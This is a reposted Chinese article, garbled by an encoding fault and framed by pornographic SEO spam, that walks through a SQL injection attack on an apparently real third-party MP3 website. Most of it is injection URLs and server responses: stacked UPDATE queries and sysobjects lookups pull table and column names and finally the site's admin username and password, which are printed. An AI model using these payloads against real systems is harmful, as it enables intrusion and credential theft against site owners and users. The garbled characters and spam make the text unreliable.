国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁(yè) > 開(kāi)發(fā) > 綜合 > 正文

有孔就入 SQL Injection的深入探討

2024-07-21 02:11:22
字體:
來(lái)源:轉(zhuǎn)載
供稿:網(wǎng)友
sql injection這個(gè)話題越來(lái)越熱了,很多的論壇和hack站點(diǎn)都或多或少地在談?wù)撨@個(gè)問(wèn)題,當(dāng)然也有很多革命前輩寫(xiě)了n多的關(guān)于這方面的文章,所利用的也是許多知名的程序,比如動(dòng)網(wǎng),塵緣雅境,而我們也可以拿到免費(fèi)的程序來(lái)看其中的漏洞和數(shù)據(jù)庫(kù)的結(jié)構(gòu),從中來(lái)達(dá)到注入的目的,不過(guò)如果是別人自己寫(xiě)的程序,那么我們就不知道他的源代碼,更不知道他的數(shù)據(jù)庫(kù)結(jié)構(gòu)(數(shù)據(jù)表名和其中的字段名),就算有個(gè)變量未過(guò)濾提交到數(shù)據(jù)庫(kù)去,我們也是無(wú)從對(duì)其下手的,只能利用通過(guò)猜解他的數(shù)據(jù)庫(kù)結(jié)構(gòu)來(lái)構(gòu)造相應(yīng)的sql語(yǔ)句,那么是不是就到此為止,能猜到多少是多少呢?沒(méi)有做不到的,只有想不到的,我相信這篇文章對(duì)研究sql injection朋友來(lái)說(shuō),應(yīng)該會(huì)有所啟發(fā)。

  一、發(fā)現(xiàn)漏洞,常規(guī)注入

  最近幫我們的站增加音樂(lè),雖然本地的電信的音樂(lè)資源庫(kù)非常豐富,但是缺少有關(guān)歌手和專輯的資料,所以到網(wǎng)上去閑逛找點(diǎn)有用的圖片和歌手簡(jiǎn)介,通過(guò)百度搜索到了一個(gè)mp3的音樂(lè)超市,里面的資料還是比較豐富的,拷貝的同時(shí)順手在他的specialid=1817后面加了一個(gè)(單引號(hào)),我突然眼前一亮:

microsoft ole db provider for sql server 錯(cuò)誤 80040e14
字符串 之前有未閉合的引號(hào)。
/showspecial.asp,行13 

  specialid沒(méi)有過(guò)濾掉單引號(hào)就直接用到sql語(yǔ)句中去了,而且是sql server版本的,漏洞的可利用性極大,可不能就此放過(guò)這么好的練兵機(jī)會(huì),接著換;(分號(hào))提交進(jìn)去,居然頁(yè)面正常出來(lái)了,說(shuō)明該變量也沒(méi)有過(guò)濾掉;號(hào),到這里,我們就可以對(duì)此進(jìn)行sql滲透了,按照常規(guī)的步驟:

  1、提交http://********/showspecial.asp?specialid=1817;use master;--

  注:--的作用是注釋掉程序中后面的sql語(yǔ)句,以防對(duì)我們構(gòu)造的語(yǔ)句有影響,比如order by..

  出現(xiàn)

microsoft ole db provider for sql server 錯(cuò)誤 80040e21
多步 ole db 操作產(chǎn)生錯(cuò)誤。如果可能,請(qǐng)檢查每個(gè) ole db 狀態(tài)值。沒(méi)有工作被完成。
/showspecial.asp,行13 

  想在他的數(shù)據(jù)庫(kù)里增加一個(gè)管理員是不可能了,我們?cè)贀Q一種方法

  2、提交http://********/showspecial.asp?specialid=1817 and 1<>(select count(id) from [user])

  這一句的意思是猜猜看是不是存在一個(gè)名為user的表和他里面有沒(méi)有id這個(gè)字段

  一般來(lái)說(shuō):

  如果不存在該表的話,會(huì)出現(xiàn)

microsoft ole db provider for sql server 錯(cuò)誤 80040e37
對(duì)象名 user 無(wú)效。
/showspecial.asp,行13 

  不存在該字段的話,會(huì)出現(xiàn)

microsoft ole db provider for sql server 錯(cuò)誤 80040e14
列名 id 無(wú)效。
/showspecial.asp,行13 

  注:一般來(lái)說(shuō),第一步是猜一些公共的表,這里所指的公共表的意思是大多數(shù)的程序員在寫(xiě)設(shè)計(jì)數(shù)據(jù)庫(kù)結(jié)構(gòu)的時(shí)候會(huì)用到的常用的表和字段,比如新聞的news表中的編號(hào)字段id,標(biāo)題字段title,用戶表user或者user_data中的編號(hào)字段id,用戶名字段username,當(dāng)然你也可以在該站點(diǎn)的登陸界面看他的原代碼,找到用戶名和密碼的表單的name值,那個(gè)也經(jīng)常會(huì)是表字段名的真實(shí)值,如<input type=text name=username size=15>

  很幸運(yùn),果然存在user表和id字段

  3、通過(guò)提交http://********/showspecial.asp?specialid=1817 and 1<>(select count(username) from [user])

  這里的username是根據(jù)登陸框的表單名去猜的,恰好存在該字段。于是在該站注冊(cè)了一個(gè)用戶名為rrrrr的用戶,作為注入的平臺(tái),得到我的用戶名的id值103534

  4、繼續(xù)猜下去,這里我還是利用的他程序中的表單名,提交:

http://********/showspecial.asp?specialid=1817 and 1<>(select count(email) from [user])

  也存在,好了,到這里,我們的平臺(tái)已經(jīng)搭建好了。

  二、深入研究,讓sql自己招數(shù)據(jù)庫(kù)結(jié)構(gòu)

  很多時(shí)候,我們只能猜到大家比較熟用的表名,如果是非原程序公開(kāi)下載的,我們很猜到他的真實(shí)數(shù)據(jù)庫(kù)結(jié)構(gòu),有時(shí)候猜半天都猜不到,令人很郁悶,那么該如何拿到他的表結(jié)構(gòu)呢?我們知道sql server的每一個(gè)數(shù)據(jù)庫(kù)都會(huì)有用戶表和系統(tǒng)表,根據(jù)sql server的聯(lián)機(jī)幫助描述是系統(tǒng)表sysobjects:在數(shù)據(jù)庫(kù)內(nèi)創(chuàng)建的每個(gè)對(duì)象(約束、默認(rèn)值、日志、規(guī)則、存儲(chǔ)過(guò)程等)在表中占一行,那么也就是說(shuō)當(dāng)前數(shù)據(jù)庫(kù)的表名都會(huì)在該表內(nèi)有存在,(對(duì)象名 admin 無(wú)效。大家可以看到上面出現(xiàn)的報(bào)錯(cuò)把表名描述成對(duì)象)。

  我們要用的是其中的3個(gè),描述如下(詳細(xì)的見(jiàn)sql server的聯(lián)機(jī)幫助):

   name 數(shù)據(jù)表的名字
   xtype 數(shù)據(jù)表的類型 u為用戶表
   id 數(shù)據(jù)表的對(duì)象標(biāo)志
   status 保留字段,用戶表一般都是大于0的

  在查詢分析器執(zhí)行以下sql語(yǔ)句(以我本地的數(shù)據(jù)庫(kù)為例子)

select top 1 name from sysobjects where xtype=u and status>0

  我們馬上就可以得到該數(shù)據(jù)庫(kù)下用戶表的第一個(gè)表名gallery

select top 1 id from sysobjects where xtype=u and name=gallery

  我們馬上就可以得到該數(shù)據(jù)庫(kù)下用戶表的第一個(gè)表名gallery的對(duì)象標(biāo)志2099048

select top 1 name from sysobjects where xtype=u and id>2099048

  再得到第2個(gè)表名gb_data,這里用到的是id>2099048,因?yàn)閷?duì)象標(biāo)志id是根據(jù)由小到大排列的。

  以此類推,我們可以得到所有的用戶表的名字了

  接下來(lái),我們要根據(jù)得到的表名取他的字段名,這里我們用到的是系統(tǒng)自帶的2個(gè)函數(shù)col_name()和object_id(),在查詢分析器執(zhí)行以下sql語(yǔ)句(以我本地的數(shù)據(jù)庫(kù)為例子):

select top 1 col_name(object_id(gallery),1) from gallery

  得到gallery表的第一個(gè)字段名為id。

  注:

   col_name()的語(yǔ)法
   col_name ( table_id , column_id )

  參數(shù)

   table_id:包含數(shù)據(jù)庫(kù)列的表的標(biāo)識(shí)號(hào)。table_id 屬于 int 類型。
   column_id:列的標(biāo)識(shí)號(hào)。column_id 參數(shù)屬于 int 類型。

  其中我們用object_id()函數(shù)來(lái)得到該表的標(biāo)識(shí)號(hào),1、2、3。。表示該表的第1個(gè)、第2個(gè)、第3個(gè)。。字段的標(biāo)識(shí)號(hào)

  以此類推得到該表所有的字段名稱

  三、再次滲透攻擊

  經(jīng)過(guò)上面2步的熱身,接下來(lái)我們?cè)摾媒⒑玫钠脚_(tái)實(shí)際操作演練一下了

  依然是那個(gè)頁(yè),我們提交

http://******/showspecial.asp?specialid=1817;update[user] set email=(select top 1 name from sysobjects where xtype=u and status>0) where id=103534;--

  服務(wù)器返回

adodb.recordset 錯(cuò)誤 800a0cb3

  當(dāng)前記錄集不支持更新。這可能是提供程序的限制,也可能是選定鎖定類型的限制。

/showspecial.asp,行19

  出師不利,可能該頁(yè)記錄集打開(kāi)方式是只讀,我們?cè)贀Q一個(gè)頁(yè)

  找到http://******/showsinger.asp?classid=34&sclassid=35的sclassid同樣存在問(wèn)題,于是提交
http://******/showsinger.asp?classid=34&sclassid=35;update [user] set email=(select top 1 name from sysobjects where xtype=u and status>0) where id=103534;--

  把第一個(gè)數(shù)據(jù)表的名字更新到我的資料的email項(xiàng)里去,得到第一個(gè)表名為:lmuser

http://******/showsinger.asp?classid=34&sclassid=35;update [user] set email=(select top 1 id from sysobjects where xtype=u and name=lmuser) where id=103534;--

  得到第一個(gè)表lmuser的id標(biāo)識(shí)號(hào)為:363148339

http://******/showsinger.asp?classid=34&sclassid=35;update [user] set email=(select top 1 name from sysobjects where xtype=u and id>363148339) where id=103534;--

  得到第二個(gè)表名為:ad。這里我們利用的是數(shù)據(jù)表的對(duì)象標(biāo)志id是升序排列的特點(diǎn),以此類推繼續(xù)取……(由于篇幅問(wèn)題,中間省略n步),最后我們得到了所有的表名,發(fā)現(xiàn)其中有個(gè)表admin,哈,很可能就是管理員的列表了。

  好,接下來(lái)我們就取該表的字段名

http://******/showsinger.asp?classid=34&sclassid=35;update [user] set email=(select top 1 col_name(object_id(admin),1) from admin) where id=103534;--

  得到第1個(gè)字段為:id

http://******/showsinger.asp?classid=34&sclassid=35;update [user] set email=(select top 1 col_name(object_id(admin),2) from admin) where id=103534;--

  得到第2個(gè)字段為:username

http://******/showsinger.asp?classid=34&sclassid=35;update [user] set email=(select top 1 col_name(object_id(admin),3) from admin) where id=103534;--

  得到第2個(gè)字段為:password

  到此,管理員列表的3個(gè)關(guān)鍵字段已經(jīng)給我們拿到,接下來(lái)要拿用戶名和密碼就比較省力了,首先拿管理員的id值,這個(gè)比較簡(jiǎn)單,我就不再詳細(xì)說(shuō)了。

  我們拿到的id值是44

http://******/showsinger.asp?classid=34&sclassid=35;update [user] set email=(select top 1 username from admin where id=44) where id=103534;--

  將該管理員的用戶名更新到email項(xiàng) ,拿到的username為:gscdjmp3

http://******/showsinger.asp?classid=34&sclassid=35;update [user] set email=(select top 1 password from admin where id=44) where id=103534;--

  將該管理員的密碼更新到email項(xiàng),拿到的password為:xzdc9212cdj

  怎么樣,拿到密碼了吧?

  四、總結(jié)

  在我們對(duì)一個(gè)不知道原代碼的有sql iinjection漏洞的程序進(jìn)行注入的時(shí)候,往往很難猜到作者設(shè)置的數(shù)據(jù)庫(kù)結(jié)構(gòu),只能通過(guò)編寫(xiě)程序時(shí)的經(jīng)驗(yàn)來(lái)猜幾個(gè)比較常用的表和字段,這樣給注入帶來(lái)了很多的麻煩,會(huì)因?yàn)椴虏坏浇Y(jié)構(gòu)而放棄,這時(shí)候大家不妨試試這個(gè)方法,或許對(duì)你有所幫助,這里我們通過(guò)更新我們的一個(gè)注冊(cè)用戶的信息來(lái)拿到結(jié)果,如果是新聞系統(tǒng)的話,可以通過(guò)更新到某個(gè)新聞的title來(lái)拿結(jié)果。
最后,值得提出的是,請(qǐng)大家不要拿該方法去惡意攻擊其他的程序,謝謝!


發(fā)表評(píng)論 共有條評(píng)論
用戶名: 密碼:
驗(yàn)證碼: 匿名發(fā)表
主站蜘蛛池模板: 合江县| 昌都县| 东莞市| 西盟| 贺兰县| 太谷县| 伊川县| 甘谷县| 平顺县| 鹤壁市| 阿勒泰市| 定西市| 荔波县| 海伦市| 普宁市| 栾川县| 长寿区| 巴青县| 雷波县| 堆龙德庆县| 行唐县| 泉州市| 巩义市| 十堰市| 贵阳市| 铅山县| 龙江县| 长岭县| 阿图什市| 西昌市| 黎川县| 裕民县| 恩施市| 新绛县| 霍林郭勒市| 南涧| 若尔盖县| 南乐县| 泰安市| 高要市| 鲁山县|